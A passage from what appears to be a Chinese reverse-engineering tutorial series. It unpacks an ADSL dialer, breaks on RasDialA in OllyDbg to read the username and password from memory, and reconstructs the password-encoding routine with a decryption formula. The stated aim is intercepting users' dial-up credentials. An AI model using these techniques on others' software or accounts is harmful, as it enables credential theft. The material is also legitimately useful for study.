6. 若找到对应建立的拨号连接,调用rasdial进行拨号,如果没有对应的拨号连接,则自动建立拨号连接,然后再调用rasdial进行拨号。(前面分析过,这个连接是在用户点击拨号后建立的) |
那也就是说,在第六步无论如何都会调用rasdial进行拨号的。传递给rasdial的参数就是我们要找的真实密码,前面我们用hook程序验证了,是加好密了的。那也就是说,如果以上猜测没错的话,在读取文件得到输入的账号密码到调用rasdial中间,肯定有对账号进行加密得到真实密码的地方。
打开OD,加载程序(脱壳了的,加的是ASPack 2.12,用插件、单步都可以顺利脱掉,这壳只起到压缩资源的作用)。继续用C32asn打开(这软件用习惯了,用它找文本,找导入很是方便),Ctrl+I,搜索rasdial,找到对应的地址,复制到OD中下断。或者,也可以直接在OD命令行下bp RasDialA。用C32Asm另一个作用就是确定是否调用这个API。
F9,跑起来,然后点击拨号,程序中断在系统领空了。Alt+F9返回。并且对返回地址的上一个Call下断点。因为是它调用的RasDialA。然后Ctrl+F2重新加载程序。F9运行,我们先看看它传递了什么参数。断在了00401CC6 call <jmp.&rasapi32.RasDialA>处。
恩,先看看RasDialA函数。
函数原型:
DWORD RasDial(
LPRASDIALEXTENSIONS dialExtensions,
LPTSTR phoneBookPath ,
LPRASDIALPARAMS rasDialParam ,
DWORD NotifierType,
LPVOID notifier,
LPHRASCONN pRasConn ); |
参数:
dialExtensions:可以被忽略并且可以设置为NULL。
phoneBookPath:可以被忽略并且可以设置为NULL。
rasDialParam:指向RASDIALPARAMS 结构的指针,用来描述 RAS连接的调用参数。调用者必须设置RASDIALPARAMS 结构的 dwSize成员(即结构大小),用sizeof(RASDIALPARAMS)取得大小,防止不同版本的系统取得的大小不同
NotifierType:描述通告程序的参数性质。如果通告程序为NULL,本参数可以忽略,如果非空,则设置本参数0xFFFFFFFF 通过程序是一个句柄,是窗体接收通告程序消息用的。在通告程序进行中,wParam参数指示 RAS连接将要进入的连接状态。当发生错误时lParam里存储错误信息。
Notifier:一个指针,指向窗体句柄,用来接收RasDial的通告事件。如果本参数非空,RasDial为每一个通告事件发送一个windows消息。RasDial调用异步操作:在建立连接之前RasDial立即返回,使用窗体进行进程通信。
pRasConn:一个HRASCONN类型的指针,必须设置HRASCONN 类型变量为空在调用RasDial前。如果RasDial成功,本函数存储一个RAS连接句柄在本参数中。
返回值: 0表示成功。而且本函数存储一个RAS连接的句柄的指针在pRasConn中,非0值表示错误。 |
我们在od中下好断点后,直接F9运行。发现,程序被断下来了。Alt+F9返回程序领空。然后网上翻,找到00401CC6下断点。重新载入,运行,在00401CC6断下,之后我们可以在堆栈窗口中看到这些:
也就是说,在调用rasdial时的参数是这六个。而且我们知道,C++是使用_Cdel规范,即:传递的参数是从右到左依次入栈的。也就是说,Arg1就是第一个参数dialExtensions的值。依次类推。我们来看看第三个参数吧。0012EBCC,在数据窗口中跟随。
RASDIALPARAMSA结构如下:
typedef struct _RASDIALPARAMS {
DWORD dwSize;
TCHAR szEntryName[RAS_MaxEntryName + 1];
TCHAR szPhoneNumber[RAS_MaxPhoneNumber + 1];
TCHAR szCallbackNumber[RAS_MaxCallbackNumber + 1];
TCHAR szUserName[UNLEN + 1];
TCHAR szPassword[PWLEN + 1];
TCHAR szDomain[DNLEN + 1];
DWORD dwSubEntry;
ULONG_PTR dwCallbackId;
DWORD dwIfIndex;
} RASDIALPARAMS, *PRASDIALPARAMS; |
其中szUserName和szPassword为ADSL账号和密码,也是我们需要截获的数据。
那么,怎么得到这个信息呢?前面我用dll钩子实现了,今天我们来找找其他的方法。从这个结构体中直接还原出账号密码。先看看这一段有些什么特点,第一个传入的是大小,第二个传入的是拨号实体,也就是我们要进行拨号的那个拨号连接的名称。就是pppoe_的那个,第三个是电话号码,第四个是回拨,第五个是用户名,第六个是密码。
黄色的是第一个参数,即整个结构体的大小,为041C,与012EBCC相加就得到末地址0012EFE8。红色的就是第二个参数:拨号实体(这个是可以肉眼识别出来的)。
从首地址看到末地址,很快就可以找出两个可读ascii码,分别是账号和密码。于是,我们用内存注册机也能实现。当然,现在是要找算法。密码出现在:
0012EED4 34 38 63 39 34 39 64 38 65 38 63 39 01 02 00 00 48c949d8e8c9[1]..
现在我们关注的是,它是怎么来的。于是,对0012EED4处下硬件访问断点,最好是在点击拨号前下(可避免前面对这段空间访问产生的不是自己想要的中断)。结果发现,也不能下断,因为在程序运行过程中会一直对这段空间进行访问,所以,我们只能在00401CC6这个调用拨号的call前面下断点,并且,一直关注这0012EED4这段空间,来缩小范围。经过很多次尝试后,发现程序运行到00401B45时,0012EED4中存放的是未加密的密码。
而,F8步过这个Call后也并没有发生什么变化。继续F8往下走,先不跟进去,确定了再跟进去。一直到00401BBA处出现了密码。
我们暂且可以认为,加密段是在00401BBA以上的,至于上到哪里,暂时也不能确定。而运行到00401C1A的时候,真凶出现了。恩,我们来分析一下00401BBA前后这段代码。
00401B45前面一段和00401BBA后面一段很相似,而且,作用也都是改变0012EED4中的内容,而且没有调用函数,于是我们可以判定它们只是起到转移数据的作用,不是我们要找的,然后00401B45到00401BBA的代码如下:
以下是引用片段:
00401B45 |. E8 E60A0000 call Tracy.00402630
00401B4A |. B9 40000000 mov ecx,40
00401B4F |. 33C0 xor eax,eax
00401B51 |. 8DBC24 280100>lea edi,dword ptr ss:[esp+128]
00401B58 |. BE 98254400 mov esi,Tracy.00442598 ;, ASCII "032593"
00401B5D |. F3:AB rep stos dword ptr es:[edi]
00401B5F |. A1 94254400 mov eax,dword ptr ds:[442594]
00401B64 |. 8D7C24 28 lea edi,dword ptr ss:[esp+28]
00401B68 |. 8BC8 mov ecx,eax
00401B6A |. 50 push eax
00401B6B |. 8BD1 mov edx,ecx
00401B6D |. 8D4424 2C lea eax,dword ptr ss:[esp+2C]
00401B71 |. C1E9 02 shr ecx,2
00401B74 |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi>
00401B76 |. 8BCA mov ecx,edx
00401B78 |. 50 push eax
00401B79 |. 83E1 03 and ecx,3
00401B7C |. F3:A4 rep movs byte ptr es:[edi],byte ptr ds:[esi]
00401B7E |. E8 AD0A0000 call Tracy.00402630
00401B83 |. A1 94254400 mov eax,dword ptr ds:[442594]
00401B88 |. 83C4 10 add esp,10
00401B8B |. 33F6 xor esi,esi
00401B8D |. 3BC3 cmp eax,ebx
00401B8F |. 8DBC24 200100>lea edi,dword ptr ss:[esp+120]
00401B96 |. 7E 22 jle short Tracy.00401BBA
00401B98 |> 33C9 /xor ecx,ecx ; 将密码以十六进制输出
00401B9A |. 8A4C34 20 |mov cl,byte ptr ss:[esp+esi+20]
00401B9E |. 51 |push ecx
00401B9F |. 68 84B44300 |push Tracy.0043B484 ; ASCII "%02x"
00401BA4 |. 57 |push edi
00401BA5 |. E8 281D0100 |call Tracy.004138D2
00401BAA |. A1 94254400 |mov eax,dword ptr ds:[442594]
00401BAF |. 83C4 0C |add esp,0C
00401BB2 |. 83C7 02 |add edi,2
00401BB5 |. 46 |inc esi
00401BB6 |. 3BF0 |cmp esi,eax
00401BB8 |.^ 7C DE \jl short Tracy.00401B98
00401BBA |> 8DBC24 200100>lea edi,dword ptr ss:[esp+120] ; 得到密码放入EDI中 |
红色那一部分的“%02x”让我联想到C里面的格式转换,而且,我们也分析得出,这一段的确是用来把字符串格式化的。所以,范围再次缩小。整个这一段也就只有三个call,被我们排除了一个,其他两个都是call的一个函数,说不定就是算法段呢。我们跟进去看看。直接在00401B45处敲下enter键。看到了下面的代码。
以下是引用片段:
00402630 /$ 55 push ebp
00402631 |. 8B6C24 0C mov ebp,dword ptr ss:[esp+C]
00402635 |. 85ED test ebp,ebp
00402637 |. 57 push edi
00402638 |. 7F 05 jg short Tracy.0040263F
0040263A |. 5F pop edi
0040263B |. 33C0 xor eax,eax
0040263D |. 5D pop ebp
0040263E |. C3 retn
0040263F |> 8B7C24 0C mov edi,dword ptr ss:[esp+C]
00402643 |. 85FF test edi,edi
00402645 |. 75 05 jnz short Tracy.0040264C
00402647 |. 5F pop edi
00402648 |. 33C0 xor eax,eax
0040264A |. 5D pop ebp
0040264B |. C3 retn
0040264C |> 56 push esi
0040264D |. 33F6 xor esi,esi
0040264F |. 85ED test ebp,ebp
00402651 |. 7E 3F jle short Tracy.00402692
00402653 |> 8A0C3E /mov cl,byte ptr ds:[esi+edi] ; 取密码第一位字符
00402656 |. 8AC1 |mov al,cl ; 密码第一位字符赋值给AL
00402658 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL
0040265A |. C0E8 02 |shr al,2 ; AL向右移动2位
0040265D |. 24 20 |and al,20 ; AL与上20
0040265F |. 80E2 40 |and dl,40 ; 密码第一位与上40
00402662 |. 0AC2 |or al,dl
00402664 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL
00402666 |. C0E8 02 |shr al,2 ; AL向右移动2位
00402669 |. 80E2 20 |and dl,20 ; 与20
0040266C |. 0AC2 |or al,dl ; AL或DL
0040266E |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL
00402670 |. D0E8 |shr al,1 ; AL向右移动1位
00402672 |. 80E2 02 |and dl,2 ; DL与上2
00402675 |. 0AC2 |or al,dl ; AL或DL
00402677 |. 8AD1 |mov dl,cl ; 密码第一位字符赋值给DL
00402679 |. 80E2 1C |and dl,1C ; 密码第一位与上1C
0040267C |. C0E1 05 |shl cl,5 ; CL左移5位
0040267F |. 0AD1 |or dl,cl ; DL与上CL
00402681 |. D0E8 |shr al,1 ; AL向右移动1位
00402683 |. C0E2 02 |shl dl,2 ; DL向左移动2位
00402686 |. 0AC2 |or al,dl ; huo
00402688 |. 74 03 |je short Tracy.0040268D
0040268A |. 88043E |mov byte ptr ds:[esi+edi],al ; 填充到原来的地方
0040268D |> 46 |inc esi ; 字符标记
0040268E |. 3BF5 |cmp esi,ebp ; 当ESI等于EBP的时候,代表所有的字符都计算完了
00402690 |.^ 7C C1 \jl short Tracy.00402653 ; 循环
00402692 |> 5E pop esi
00402693 |. 5F pop edi
00402694 |. B8 01000000 mov eax,1
00402699 |. 5D pop ebp
0040269A \. C3 retn |
而且,有没觉得红色的那段代码太漂亮、太独特了。或许,它们就是我们要找的算法呢。恩,下好断点,OD重载。再来一次,看传进去的是些什么参数。又对这些参数做了什么。
我们发现,在00401B45前面总共只有两个push,可能,传进去的参数也就只有两个吧,看堆栈窗口。
恩,传进去的是原始密码,和密码的长度。好像,我们越来越接近我们的答案了哈。先不进去,数据窗口跟随12E9CC,F8步过,看看有什么变化。
嗯?变了一半,那是不是说,另外一半是在后面那个call里面弄出来的呢?答案是肯定的,于是,分析上面的那段算法吧,注解也已经写上去了。其实就是一段移位算法,可逆向的,也就是可是反向解密。于是,先写下它的加密算法用C表示如下:
KEY=((((((((pwd>>2)&0X20)|(pwd&0X40))>>2)|(pwd&0X20))>>1)|(pwd&0X2))>>1)|(((pwd&0X1C)|(pwd<<5))<<2);
然后呢,解密算法,程序中可能会有也可能没有,至少,我们不知道它在什么地方用到解密,由于第一次接触这些,不知道如何写出解密算法。
发帖求助:http://bbs.pediy.com/showthread.php?t=157538,然后得到了好心人的解答方法,自己再在草稿纸上画了画,于是写下了解密算法。
CON=((pwd&0X70)>>2)|((pwd&0X80)>>7)|((pwd&0X02)<<6)|((pwd&0X04)<<4)|((pwd&0X08)<<2)|((pwd&0X01)<<1);
这个算法,后面的利用中也用到了。
所以,我们就成功的解决了密码是英文的问题,也解决了对中文加密的问题(后面有对中文加密的实例)。
于是,Chapter1中,获取真实密码那一段switch case可替换为:
KEY=((((((((pwd>>2)&0X20)|(pwd&0X40))>>2)|(pwd&0X20))>>1)|(pwd&0X2))>>1)|(((pwd&0X1C)|(pwd<<5))<<2);
恩,就写到这里吧,近三个小时了,手都敲痛了。后面估计还有那么四到五章,分别是MD5、网络校验、和一个系统的编写、以及最后的总结。
(……未完待续……) 如果大家觉得,有必要在继续写下去的,就留个言或者给点建议吧。前面几章都有查稿查错别字,后来就没了,所以,难免会有些错误,还请包涵。
声, 明:此文仅做技术参考、思路指引、网络安全概念的推广。并不涉及传播入侵知识、等非法行为。如用作非法之途,所造成后果由个人自行承担。《中华人民共和国刑法》有关计算机犯罪条例。计算机软件保护条例。